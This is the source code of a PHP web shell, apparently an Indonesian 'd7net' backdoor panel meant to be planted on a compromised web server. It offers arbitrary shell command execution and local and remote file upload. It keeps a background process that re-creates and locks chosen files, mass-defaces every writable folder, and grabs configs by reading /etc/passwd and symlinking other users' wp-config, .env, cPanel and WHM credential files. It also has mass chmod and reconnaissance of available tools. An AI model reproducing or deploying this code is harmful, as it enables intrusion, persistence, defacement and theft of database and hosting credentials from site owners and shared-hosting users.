        echo "<a href='?opet=" . $hexPath . "' class='link-offset-2 link-underline link-underline-opacity-0'>" . htmlspecialchars($pat) . "</a>/";
    }<br>
</div>
</div><br>
if ($_GET['d7net'] == allheks('ekse')) {
    echo '<div class="main-container">
    <h3 style="color:#ff0000;"><i class="fas fa-terminal"></i> Command</h3><div class="mb-3">
    <form method="POST">
    <div class="input-group input-group-sm">
    <input type="text" name="crot" class="form-control" placeholder="uname -a" value="'.htmlspecialchars($_POST["crot"] ?? '').'" style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
    <input type="submit" name="exe" value="=>" class="btn-custom">
    </div></form></div>';
    if(isset($_POST['exe'])) {
         ekse($_POST['crot'], $currentDir);
    } 
    echo '</div>';
    exit;
} elseif ($_GET['d7net'] == allheks('aplut')) {
    echo '<div class="main-container">
    <h3 style="color:#ff0000;"><i class="fas fa-upload"></i> Upload File</h3>
    <form action="" method="post" enctype="multipart/form-data" class="mt-3">
  <div class="input-group input-group-sm mb-3">
    <label style="display:block;margin-bottom:5px;">Upload dari Komputer:</label>
    <input type="file" class="form-control form-control-sm" name="fileUpload" style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
    <button type="submit" class="btn-custom" name="upload">Upload</button>
  </div>
  <div style="text-align:center;margin:20px 0;color:#666;">ATAU</div>
  <div class="input-group input-group-sm">
    <label style="display:block;margin-bottom:5px;">Upload dari URL (Remote Upload):</label>
    <input type="text" class="form-control form-control-sm" name="remoteUrl" placeholder="https://example.com/file.php" style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
    <input type="text" class="form-control form-control-sm" name="remoteFilename" placeholder="nama_file.php" style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
    <button type="submit" class="btn-custom" name="remoteUpload">Download & Upload</button>
  </div>
</form></div></div><br>';
if (isset($_FILES['fileUpload']) && isset($_POST['upload'])) {
    $targetDir = $currentDir . '/';
    $targetFile = $targetDir . basename($_FILES['fileUpload']['name']);
    $uploadOk = 1;
    if (file_exists($targetFile)) {
        echo "<div class='alert alert-danger'>File sudah ada!</div>";
        $uploadOk = 0;
    }
    if ($_FILES['fileUpload']['size'] > 5000000) {
        echo "<div class='alert alert-danger'>File terlalu besar!</div>";
        $uploadOk = 0;
    }
    if ($uploadOk == 1) {
        if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $targetFile)) {
            echo "<div class='alert alert-success'>File berhasil di-upload!</div>";
            echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks(dirname($targetFile)) . "'; }, 2000);</script>";
        } else {
            echo "<div class='alert alert-danger'>Terjadi kesalahan saat meng-upload file!</div>";
            }
        }
}
if (isset($_POST['remoteUpload']) && !empty($_POST['remoteUrl'])) {
    $remoteUrl = $_POST['remoteUrl'];
    $remoteFilename = !empty($_POST['remoteFilename']) ? $_POST['remoteFilename'] : basename(parse_url($remoteUrl, PHP_URL_PATH));
    if (empty($remoteFilename)) {
        $remoteFilename = 'downloaded_' . time() . '.php';
    }
    $targetFile = $currentDir . '/' . $remoteFilename;
    
    if (function_exists('curl_init')) {
        $ch = curl_init($remoteUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $fileContent = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $fileContent !== false) {
            if (file_put_contents($targetFile, $fileContent)) {
                echo "<div class='alert alert-success'>File berhasil di-download dan di-upload dari URL!</div>";
                echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks(dirname($targetFile)) . "'; }, 2000);</script>";
            } else {
                echo "<div class='alert alert-danger'>Gagal menyimpan file!</div>";
            }
        } else {
            echo "<div class='alert alert-danger'>Gagal mengunduh file dari URL! HTTP Code: $httpCode</div>";
        }
    } elseif (function_exists('file_get_contents')) {
        $context = stream_context_create(['http' => ['timeout' => 30, 'follow_location' => 1]]);
        $fileContent = @file_get_contents($remoteUrl, false, $context);
        if ($fileContent !== false) {
            if (file_put_contents($targetFile, $fileContent)) {
                echo "<div class='alert alert-success'>File berhasil di-download dan di-upload dari URL!</div>";
                echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks(dirname($targetFile)) . "'; }, 2000);</script>";
            } else {
                echo "<div class='alert alert-danger'>Gagal menyimpan file!</div>";
            }
        } else {
            echo "<div class='alert alert-danger'>Gagal mengunduh file dari URL!</div>";
        }
    } else {
        echo "<div class='alert alert-danger'>cURL dan file_get_contents tidak tersedia!</div>";
    }
}    
 exit;
 } elseif ($_GET['d7net'] == allheks('tools')) {
    echo '<div class="main-container">
    <hr>
    <center>
    <div class="mb-1">
    <button onclick=location.href="?opet='. allheks($currentDir) . "&d7net=". $d7net[3] . '" class="btn-custom"> Lock File</button>
    <button onclick=location.href="?opet='. allheks($currentDir) . "&d7net=". $d7net[4] . '" class="btn-custom"> Ganti Password</button>
    <button onclick=location.href="?opet='. allheks($currentDir) . "&d7net=". $d7net[5] . '" class="btn-custom"> Grab Config</button>
    <button onclick=location.href="?opet='. allheks($currentDir) . "&d7net=". $d7net[9] . '" class="btn-custom"> Mass Deface</button>
    <button onclick=location.href="?opet='. allheks($currentDir) . "&d7net=". $d7net[10] . '" class="btn-custom"> Zip Extract</button>
    <button onclick=location.href="?opet='. allheks($currentDir) . "&d7net=". $d7net[11] . '" class="btn-custom"> Mass Chmod</button>
    </center><hr></div></div>';
    exit;
} elseif ($_GET['d7net'] == allheks('lokpile')) {
    echo '<div class="main-container"><h3 style="color:#ff0000;"><i class="fas fa-lock"></i> Lock File</h3>
    <form method="POST">
    <input type="text" name="pile" class="form-control mb-3" placeholder="file.php" style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
    <button type="submit" class="btn-custom" name="submit"><i class="fa fa-lock" aria-hidden="true"></i> Lock</button>
    </form></div>';
    if (isset($_POST['submit'])) {
        if (empty($_POST['pile'])) {
            echo "<br><div class='main-container'><td><font color='#ff9900'><center>The File field is required</center></font></td></div>";
        } else {
        $filez = $_POST['pile'];
        $tempe = "/tmp";
        if (file_exists($tempe.'/sess_'.md5($currentDir. $filez.'-xd7net').d7net_ex($filez).'h4nd') && file_exists($tempe . '/'.d7net_ex($filez).'-xopet')) {
            cemde('rm -rf '.$tempe.'/sess_'.md5($currentDir. $filez.'-xopet').d7net_ex($filez).'0p3t', $currentDir);
            cemde('rm -rf '.$tempe.'/sess_'.md5($currentDir. $filez.'-xd7net').d7net_ex($filez).'h4nd', $currentDir);
            }
            cemde("cp $filez ".$tempe."/sess_".md5($currentDir. $filez.'-xopet').d7net_ex($filez).'0p3t', $currentDir);
            @chmod($filez, 0444);
            $content = '$tmp = "/tmp";
    $fileperm = d7net_perm("'.$filez.'");
    d7net_cmd("chmod 444 '.$filez.'");
    while (True) {
        if (!file_exists("'.$filez.'")) {
            $var = base64_encode(file_get_contents($tmp . "/sess_'.md5($currentDir. $filez.'-xopet').d7net_ex($filez).'0p3t"));
            FiLe_pUt_ConTentS("'.$filez.'", base64_decode($var));
        }
        if ($fileperm != "0444"){
            d7net_cmd("chmod 444 '.$filez.'");
        }
    }
    function d7net_cmd($value)
    {
        if (function_exists("system")) {
            sYsTem($value);
        } else if (function_exists("shell_exec")) {
            return ShEll_eXeC($value);
        } else if (function_exists("exec")) {
            return ExEc($value);
        } else if (function_exists("passthru")) {
            return pAsSThRu($value);
        }
    }
    function d7net_perm($filez){
        return substr(sprintf("%o", fileperms($filez)), -4);
    }';
    $content = file_put_contents($tempe. "/sess_" .md5($currentDir. $filez.'-xd7net'). d7net_ex($filez).'h4nd', $content);
    if ($content) {
        echo "<div class='main-container'><td>Locked => <font color='#ff0000'>$filez</font></td></div>";
        cemde('php '. $tempe . '/sess_' .md5($currentDir. $filez.'-xd7net').d7net_ex($filez).'"h4nd" > /dev/null 2>/dev/null &', $currentDir);
    } else {
        echo "<div class='main-container'><td><font color='#ff0000'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Can't lock $filez</font></td></div>";
            }
        }
    }
    exit;
    
} elseif ($_GET['d7net'] == allheks('zipext')) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    usleep(1500000);

    $extractTo = rtrim($_POST['extract_path'], '/');
    $zipPath = '';

    if (!empty($_FILES['zip_file']['tmp_name'])) {
        $zipPath = $_FILES['zip_file']['tmp_name'];
    } elseif (!empty($_POST['zip_path'])) {
        $zipPath = $_POST['zip_path'];
        if (!file_exists($zipPath)) {
            die("<div class='main-container'><script>doneLoading()</script>❌ File ZIP tidak ditemukan.</div><br>");
        }
    } else {
        die("<div class='main-container'><script>doneLoading()</script>❌ Harap upload atau isi path ZIP.</div><br>");
    }

    if (!is_dir($extractTo)) {
        if (!mkdir($extractTo, 0755, true)) {
            die("<div class='main-container'><script>doneLoading()</script>❌ Gagal membuat folder tujuan.</div><br>");
        }
    }

    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo($extractTo);
        $zip->close();
        echo "<div class='main-container'><div class='mb-3'><script>doneLoading()</script>✅ ZIP berhasil diekstrak => <i class='fas fa-folder' style='color:#ff9900;'></i><font color='#ff9900'>".basename($extractTo)."</font></zip></div></div><br>";
    } else {
        echo "<div class='main-container'><script>doneLoading()</script>❌ Gagal membuka file ZIP.</zip></div><br>";
    }
}
    echo '
    <div id="loadingBox"><div class="main-container"><div class="mb-3"> Sedang Proses => <font color="#00ffff"><span id="percent">1%</span></font></div></div></div>
    <script>
        function startLoading() {
            document.getElementById("loadingBox").style.display = "block";
            let percent = 1;
            let interval = setInterval(function() {
                if (percent >= 100) {
                    clearInterval(interval);
                }
                document.getElementById("percent").innerText = percent + "%";
                percent++;
            }, 30);
        }

        function doneLoading() {
            document.getElementById("percent").innerText = "✅ Selesai";
        }
    </script>
    <style>
        #loadingBox {
            display: none;
            font-weight: bold;
            font-family: monospace;
            padding: 10px;
            color: #00ffff;
        }
    </style>
    <div class="main-container">
    <center><h3 style="color:#ff0000;"><i class="fas fa-file-archive"></i> Zip Extractor</h3></center>
    <form id="zipForm" method="post" enctype="multipart/form-data" onsubmit="startLoading()">
        <label>Upload File ZIP (opsional):</label><br>
        <input type="file" class="form-control" name="zip_file" style="background:#1a0000;border:1px solid #ff0000;color:#fff;"><br>

        <label>File ZIP (manual):</label><br>
        <input type="text" class="form-control" name="zip_path" placeholder="data.zip [cari lokasi file zip kamu.]" style="background:#1a0000;border:1px solid #ff0000;color:#fff;"><br>

        <label>Path :</label><br>
        <input type="text" class="form-control" name="extract_path" value="'.$currentDir.'/" required style="background:#1a0000;border:1px solid #ff0000;color:#fff;"><br>

        <button type="submit" class="btn-custom">Ekstrak ZIP</button>
    </form>
    </div>
';
exit;

} elseif ($_GET['d7net'] == allheks('gantipw')) {
    function chpwd($ceks) {
    $newpw = sha1($ceks);
    $newpw = "\$pew = \"$newpw\";";
    $kon = file_get_contents($_SERVER['SCRIPT_FILENAME']);
    $kon = preg_replace("/\\\$pew *= *[\"']*([a-f0-9]{40})[\"']*;/s", $newpw, $kon);
    return file_put_contents($_SERVER['SCRIPT_FILENAME'], $kon);
}

echo '<div class="main-container">
<center><h3 style="color:#ff0000;"><i class="fas fa-key"></i> Ganti Password</h3>
<form method="POST">
<div class="input-group">
<input type="text" class="form-control mb-2" name="oldpass" placeholder="Password lama" style="background:#1a0000;border:1px solid #ff0000;color:#fff;"></div>
<div class="input-group">
<input type="text" class="form-control mb-2" name="pass1" placeholder="Password baru" style="background:#1a0000;border:1px solid #ff0000;color:#fff;"></div>
<div class="input-group">
<input type="text" class="form-control mb-2" name="pass2" placeholder="Ulangi Password baru" style="background:#1a0000;border:1px solid #ff0000;color:#fff;"></div></center>
<button type="submit" name="cpw" class="btn-custom">Change</button>
</form></div>';

if (isset($_POST['cpw'])) {
    $oldpass = sha1($_POST['oldpass']);
    if ($oldpass === $pew) {
        if ($_POST['pass1'] === $_POST['pass2']) {
            if (chpwd($_POST['pass1'])) {
                echo '<br><div class="main-container">
                <font color="#ff0000">Ganti Password Berhasil..!!</font></div>';
            } else {
                echo '<br><div class="main-container">
                <font color="#ff0000">Ganti Password Gagal..!!</font></div>';
            }
        } else {
            echo '<br><div class="main-container">
            <font color="#ff9900">Password Baru tidak cocok..!!</font></div>';
        }
    } else {
        echo '<br><div class="main-container">
        <font color="#ff9900">Password lama salah..!!</font></div>';
    }
}exit;

} elseif ($_GET['d7net'] == allheks('massdepes')) {
    function cekspol($dir) {
    $folders = [];
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item ===  || $item === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            $folders[] = $path;
            $folders = array_merge($folders, cekspol($path));
        }
    }
    return $folders;
}

function massDepes($pat, $pilez, $konten) {
    $allFolders = cekspol($pat);
    array_unshift($allFolders, $pat);

    $output = "";

    foreach ($allFolders as $folder) {
        $fname = basename($folder);

        if (!is_dir($folder) || !is_writable($folder)) {
            $output .= "Gagal akses folder =><font color='#ff0000'> " . $fname . "/<br>";
            continue;
        }

        $targetPath = $folder . DIRECTORY_SEPARATOR . $pilez;

        if (file_exists($targetPath)) {
            $output .= "File Sudah ada => <font color='#ff9900'>http://" . $fname . "/" . $pilez."</font><br>";
        } else {
            if (file_put_contents($targetPath, $konten) !== false) {
                $output .= "<font color='#ff0000'>http://" . $fname . "/" . $pilez."<br>";
            } else {
                $output .= "Gagal =><font color='#ff0000'> http://" . $fname . "/" . $pilez."<br>";
            }
        }
    }

    return $output;
}

if (isset($_POST['massc'])) {
    $pilez = $_POST['pile'];
    $pat = $_POST['pat'];
    $kon = $_POST['kont'];

    echo "<div class='main-container'><div class='mb-3'>";
    echo massDepes($pat, $pilez, $kon);
    echo "</div></div>";
} else {
    echo '<div class="main-container"><center>
    <h3 style="color:#ff0000;"><i class="fas fa-bomb"></i> Mass Deface</h3></center>
    <form method="POST">
  <label>Filename :</label><br>
  <input type="text" class="form-control" style="background:#1a0000;border:1px solid #ff0000;color:#fff;" value="file.txt" name="pile" required><br>
  <label>Path :</label><br>
  <input type="text" class="form-control" style="background:#1a0000;border:1px solid #ff0000;color:#fff;" value="'.$currentDir.'" name="pat" required><br>
  <label>Isi File :</label><br>
  <textarea name="kont" id="php_code"></textarea><br>
  <button type="submit" class="btn-custom" name="massc">Submit</button>
</form></div>
  <script>
        var editor = CodeMirror.fromTextArea(document.getElementById("php_code"), {
            lineNumbers: true,
            mode: "application/x-httpd-php",
            theme: "monokai", 
            lineWrapping: true,
            viewportMargin: Infinity
            });
    </script>';
}exit;

} elseif ($_GET['d7net'] == allheks('cnfig')) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['conf'])) {
    $v = "var";
    $folfig = $_POST['folfig'];
    $type = $_POST['type'] ?? '.txt';
    @mkdir($folfig, 0755, true);
    @chdir($folfig);

    $htaccess = "
Options Indexes FollowSymLinks
\nDirectoryIndex .my.cnf
\nAddType txt .php
\nAddType txt .my.cnf
\nAddType txt .accesshash
\nAddHandler txt .php
\nAddHandler txt .cnf
\nAddHandler txt .accesshash";
    file_put_contents(".htaccess", $htaccess, FILE_APPEND);

    $passwd = explode("\n", $_POST["passwd"]);
    foreach ($passwd as $pwd) {
        $user = trim($pwd);
        if ($user === '') continue;
        
        $paths = [
            "/home/$user/public_html/vb/includes/config.php" => "$user-vBulletin1$type",
            "/home/$user/public_html/forum/includes/config.php" => "$user-vBulletin3$type",
            "/home/$user/public_html/cc/includes/config.php" => "$user-vBulletin4$type",
            "/home/$user/public_html/config.php" => "$user-Phpbb1$type",
            "/home/$user/public_html/admin/config.php" => "$user-Phpbb2$type",
            "/home/$user/public_html/koneksi.php" => "$user-Phpbb3$type",
            "/home/$user/public_html/wp-config.php" => "$user-Wp1$type",
            "/home/$user/public_html/blog/wp-config.php" => "$user-Wp2$type",
            "/home/$user/public_html/web/wp-config.php" => "$user-Wp3$type",
            "/home1/$user/public_html/wp-config.php" => "$user-WpHm1$type",
            "/var/www/html/wp-config.php" => "$v-wp1$type",
            "/home/$user/public_html/.env" => "$user-Laravel1$type",
            "/home/$user/public_html/web/.env" => "$user-Laravel2$type",
            "/home/$user/public_html/public/.env" => "$user-Laravel3$type",
            "/var/www/html/.env" => "$v-LaravelV$type",
            "/home/$user/public_html/configuration.php" => "$user-Joomla1$type",
            "/home/$user/public_html/html/configuration.php" => "$user-Joomla2$type",
            "/home/$user/public_html/application/config/database.php" => "$user-CodeIgniter$type",
            "/home/$user/.my.cnf" => "$user-cpanel$type",
            "/home/$user/.accesshash" => "$user-whm$type"
        ];

        foreach ($paths as $target => $linkName) {
            @symlink($target, $linkName);
        }
    }

    echo '<div class="main-container">
    Status : Done ✅ <br><br>
    <form action="' . htmlspecialchars($folfig) . '" method="GET" target="_blank" style="display: inline;">
        <button type="submit" class="btn-custom">Klik di sini</button>
    </form>
</div>';
} else {
    $users = file("/etc/passwd");
    echo '<form method="POST">
    <div class="main-container"><tr><td>
    <center>
        <h3 style="color:#ff0000;"><i class="fas fa-database"></i> Config Grabber (Audit)</h3>
        <textarea name="passwd" class="form-control" id="exampleFormControlTextarea1" rows="22" style="background:#1a0000;border:1px solid #ff0000;color:#fff;">';
    foreach ($users as $line) {
        $parts = explode(":", $line);
        echo htmlspecialchars($parts[0]) . "\n";
    }
    echo '</textarea><br><br>
        <input type="hidden" name="folfig" value="d7netcfg" />
        <select name="type" class="form-select form-select-sm" style="width:150px;background:#1a0000;border:1px solid #ff0000;color:#fff;">
            <option value=".txt">.txt</option>
            <option value=".php">.php</option>
            <option value=".shtml">.shtml</option>
            <option value=".ini">.ini</option>
            <option value=".html">.html</option>
        </select><br><br>
        <input name="conf" value="Submit" class="btn-custom" type="submit" />
    </center></td></tr></form></div>';
    } exit;
} elseif ($_REQUEST['d7net'] == allheks('cfile')) {
    if (isset($_POST['createf'])) {
        $nama_file = basename(trim($_POST["pile"]));
        $isi_file = $_POST["kont"];
        $file = fopen("$currentDir/$nama_file", "w");
        if ($file) {
            fwrite($file, $isi_file);
            fclose($file);
            echo "<div class='main-container'>File <font color='#ff0000'>$nama_file</font> berhasil dibuat.</div>";
            echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks($currentDir) . "'; }, 2000);</script>";
        } else {
            echo "<div class='main-container'><font color='#ff0000'>Gagal membuat file.</font></div>";
            echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks($currentDir) . "&d7net=".allheks('cfile')."'; }, 2000);</script>";
        }
    }
    echo '<div class="main-container">
    <form method="POST">
  <label>Filename :</label><br>
  <input type="text" class="form-control" style="background:#1a0000;border:1px solid #ff0000;color:#fff;" value="file.txt" name="pile" required><br>
  <label>Isi File :</label><br>
  <textarea name="kont" id="php_code"></textarea><br>
  <button type="submit" class="btn-custom" name="createf">Buat File</button>
</form></div>
  <script>
        var editor = CodeMirror.fromTextArea(document.getElementById("php_code"), {
            lineNumbers: true,
            mode: "application/x-httpd-php",
            theme: "monokai", 
            lineWrapping: true,
            viewportMargin: Infinity
            });
    </script>'; 
    exit;
} elseif ($_GET['d7net'] == allheks('cdir')) {
    if (isset($_POST['create_folder'])) {
        $peth = $currentDir .'/'. $_POST['folname'];
        if (!file_exists($peth)) {
            if (mkdir($peth, 0755, true)) {
                echo "<div class='main-container'>✅ Folder berhasil dibuat => <font color='#ff0000'>$peth</font></div>";
                echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks($currentDir) . "'; }, 2000);</script>"; 
            } else {
                echo "<div class='main-container'>❌ <font color='#ff0000'>Gagal membuat folder => <i class='fas fa-folder' style='color:#ff0000;'></i>".basename($peth)."</font></div>";
            }
        } else {
            echo "<div class='main-container'>⚠️ <font color='#ff9900'>Folder sudah ada</font> => <i class='fas fa-folder' style='color:#ff9900;'></i>".basename($peth)."</div>";
            }
        }
    echo '<div class="main-container">
    <form method="POST">
    <label>New Folder:</label>
    <input type="text" class="form-control" name="folname" placeholder="crottz" required style="background:#1a0000;border:1px solid #ff0000;color:#fff;"><br>
    <button type="submit" class="btn-custom" name="create_folder">Buat Folder</button>
</form></div>';exit;
} elseif ($_GET['d7net'] == allheks('info')) {
    echo "<div class='main-container'>
    System : <font color='#00ffff'>".php_uname()."</font><br>
    IP Address : <font color='#00ffff'>".$_SERVER['SERVER_ADDR']."</font><br>
    PHP Version : <font color='#00ffff'>".phpversion()."</font><br>
    Server : <font color='#00ffff'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
    echo "MYSQL : ";
    if (function_exists("mysql_connect")) {
        echo "<font color=#ff0000>ON</font>";
    } else {
        echo "<font color=#666>OFF</font>";
    }
    echo " &nbsp;| cURL : ";
    if (function_exists("curl_init")) {
        echo "<font color=#ff0000>ON</font>";
    } else {
        echo "<font color=#666>OFF</font>";
    }
    echo " &nbsp;| WGET : ";
    if (file_exists("/usr/bin/wget")) {
        echo "<font color=#ff0000>ON</font>";
    } else {
        echo "<font color=#666>OFF</font>";
    }echo " &nbsp;| Perl : ";
    if (file_exists("/usr/bin/perl")) {
        echo "<font color=#ff0000>ON</font>";
    } else {
        echo "<font color=#666>OFF</font>";
    }
    echo " &nbsp;| Python : ";
    if (file_exists("/usr/bin/python2")) {
        echo "<font color=#ff0000>ON</font>";
    } else {
        echo "<font color=#666>OFF</font>";
    }
    echo "&nbsp; | GCC : ";
    $gecece = gcc();
    if ($gecece) {
    echo "<font color='#ff0000'>ON</font>";
    } else {
    echo "<font color='#666'>OFF</font>";
    } 
    echo "&nbsp; | PKEXEC : ";
    if (pkesek()) {
    echo "<font color='#ff0000'>ON</font>";
    } else {
    echo "<font color='#666'>OFF</font>";
}
    echo "</div>";
    exit;
} elseif ($_GET['d7net'] == allheks('masschmod')) {
    if (isset($_POST['mass_chmod_submit'])) {
        $massPath = $_POST['path'];
        $massPerm = $_POST['perm'];
        $massItems = isset($_POST['items']) ? $_POST['items'] : [];
        $success = 0;
        $failed = 0;
        $results = [];
        foreach ($massItems as $item) {
            $fullItemPath = $massPath . '/' . $item;
            if (file_exists($fullItemPath)) {
                if (@chmod($fullItemPath, octdec($massPerm))) {
                    $success++;
                    $results[] = "<font color='#00ffff'>✓ $item</font>";
                } else {
                    $failed++;
                    $results[] = "<font color='#ff0000'>✗ $item</font>";
                }
            } else {
                $failed++;
                $results[] = "<font color='#ff0000'>✗ $item (not found)</font>";
            }
        }
        echo "<div class='main-container'><div class='mb-3'>";
        echo "<h4 style='color:#ff0000;'>Mass Chmod Results</h4>";
        echo "<font color='#00ffff'>Berhasil: $success</font><br>";
        echo "<font color='#ff0000'>Gagal: $failed</font><br><br>";
        echo implode("<br>", $results);
        echo "</div></div>";
        echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks($massPath) . "'; }, 5000);</script>";
        exit;
    }
    echo '<div class="main-container">
    <h3 style="color:#ff0000;"><i class="fas fa-key"></i> Mass Chmod</h3>
    <form method="POST">
    <div class="mb-3">
        <label>Path:</label>
        <input type="text" class="form-control" name="path" value="'.$currentDir.'" required style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
    </div>
    <div class="mb-3">
        <label>Permission (octal):</label>
        <input type="text" class="form-control" name="perm" placeholder="0755" required style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
        <small style="color:#666;">Contoh: 0755, 0644, 0777</small>
    </div>
    <div class="mb-3">
        <label>Files/Folders (satu per baris):</label>
        <textarea class="form-control" name="items" rows="10" required style="background:#1a0000;border:1px solid #ff0000;color:#fff;" placeholder="file1.php&#10;file2.php&#10;folder1"></textarea>
    </div>
    <button type="submit" name="mass_chmod_submit" class="btn-custom">Apply Chmod</button>
    </form>
    </div>';
    exit;
}

function stats($file){
    $izin = substr(sprintf('%o', fileperms($file)), -4);
    return $izin;
}

if (!is_readable($currentDir)) {
    die('<div class="main-container"><div class="mb-1">
    Permission : <font color="#ff0000"> Denied <i class="fa-regular fa-face-frown"></i></font><br>
    Gagal akses folder => <i class="fas fa-folder" style="color:#ff9900;"></i><font color="#ff9900">'.basename($currentDir).'</font>
    </div></div>');
}
<div class="main-container">
<div class="table-responsive mt-2">
    <table class="table table-dark table-hover">
        <thead class="table-dark">
            <tr>
                <th><center>Name</center></th>
                <th><center>Size</center></th>
                <th><center>Date Modified</center></th>
                <th><center>Owner</center></th>
                <th><center>Permissions</center></th>
                <th><center>Actions</center></th>
            </tr>
        </thead>
        <tbody>
            foreach ($allItems as $item):
                <tr>
                    <td>
                        $fullPath = $currentDir . '/' . $item;
                        if (is_dir($fullPath)) {
                            echo "<a href='?opet=" . allheks($fullPath) . "' class='link-offset-2 link-underline link-underline-opacity-0'><i class='fas fa-folder' style='color:#ff9900;'></i>" . htmlspecialchars($item) . "</a>";
                        } else {
                            echo "<i class='fa-regular fa-file' style='color:#00ffff;'></i> " . htmlspecialchars($item);
                        }
                    </td>
                    <td><center>echo is_file($fullPath) ? fsize(filesize($fullPath)) : '-';</center></td>
                    <td><center><font color="#00ffff">echo date("d F Y H:i:s", filemtime($fullPath));</font></center></td>
                    <td><center>echo owner($fullPath);</center></td>
                    <td><center>if(is_writable("$fullPath")) echo '<font color="#ff0000">';
                    elseif(!is_readable("$fullPath")) echo '<font color="#ff0000">'; echo stats("$fullPath");
                    if(is_writable("$fullPath") || !is_readable("$fullPath")) echo '</font>';</center></td>
                    <td>
                        <div class="d-flex flex-column flex-md-row gap-1">if (is_file($fullPath)):
                            <a href="?edit=echo $fullPath;" class="btn btn-sm btn-primary"><i class="fas fa-edit"></i></a>
                            endif;

                            <button type="button" class="btn btn-sm btn-warning"data-bs-toggle="modal" data-bs-target="#renameModal" data-oldpath="echo htmlspecialchars($fullPath);"data-name="echo htmlspecialchars(basename($fullPath));"><i class="fa-solid fa-pen"></i></button>
                            <a href="?chdet=echo $fullPath;" class="btn btn-sm btn-info"><i class="fa-solid fa-calendar"></i></a>
                            <button type="button" class="btn btn-sm" style="background:#9c27b0;color:#fff;border:none;" data-bs-toggle="modal" data-bs-target="#chmodModal" data-path="echo htmlspecialchars($fullPath);" data-perm="echo stats($fullPath);"><i class="fa-solid fa-key"></i></button>
                            <form method="post">
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="path" value="echo $fullPath;">
                                <button type="submit" class="btn btn-sm btn-danger"><i class="fa-solid fa-trash"></i></button>
                            </form>
                        </div>
                    </td>
                </tr>
            endforeach;
        </tbody>
    </table>
</div>
    <div class="modal fade" id="renameModal" aria-hidden="true" aria-labelledby="exampleModalToggleLabel" tabindex="-1">
  <div class="modal-dialog modal-dialog-centered">
    <div class="modal-content">
      <div class="modal-header">
      <form method="post" id="renameForm">
        <h5 class="modal-title" id="exampleModalToggleLabel" style="color:#ff0000;">Rename</h5>
      </div>
      <div class="modal-body">
          <input type="hidden" name="action" value="rename_item">
          <input type="hidden" name="old_path" id="renameOldPath">
          <div class="mb-3">
            <label for="new_name" class="form-label">New Name</label>
            <input type="text" class="form-control" name="new_name" id="renameNewName" required style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
          </div>
        </div>
        <div class="modal-footer">
          <button type="submit" class="btn-custom">Rename</button>
          <button type="button" class="btn" style="background:#333;color:#fff;border:none;" data-bs-dismiss="modal">Cancel</button>
        </div>
      </div>
    </form>
  </div>
</div>
</div>
<div class="modal fade" id="successModal" tabindex="-1" aria-labelledby="successModalLabel" aria-hidden="true">
  <div class="modal-dialog modal-dialog-centered">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="successModalLabel" style="color:#ff0000;">Success</h5>
        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body">
        <i class="fas fa-check-circle" style="color:#ff0000;"></i> Berhasil mengubah nama!
      </div>
    </div>
  </div>
</div>
<div class="modal fade" id="failModal" tabindex="-1" aria-labelledby="failModalLabel" aria-hidden="true">
  <div class="modal-dialog modal-dialog-centered">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="failModalLabel" style="color:#ff0000;">Error</h5>
        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body">
        <i class="fas fa-times-circle" style="color:#ff0000;"></i> Gagal mengubah nama!
      </div>
    </div>
  </div>
</div>
<div class="modal fade" id="chmodModal" tabindex="-1" aria-labelledby="chmodModalLabel" aria-hidden="true">
  <div class="modal-dialog modal-dialog-centered">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="chmodModalLabel" style="color:#ff0000;">Change Permission</h5>
        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post">
      <div class="modal-body">
          <input type="hidden" name="action" value="chmod">
          <input type="hidden" name="path" id="chmodPath">
          <div class="mb-3">
            <label for="chmodPerm" class="form-label">Permission (octal):</label>
            <input type="text" class="form-control" name="perm" id="chmodPerm" placeholder="0755" required style="background:#1a0000;border:1px solid #ff0000;color:#fff;">
            <small style="color:#666;">Contoh: 0755, 0644, 0777</small>
          </div>
        </div>
        <div class="modal-footer">
          <button type="submit" class="btn-custom">Change</button>
          <button type="button" class="btn" style="background:#333;color:#fff;border:none;" data-bs-dismiss="modal">Cancel</button>
        </div>
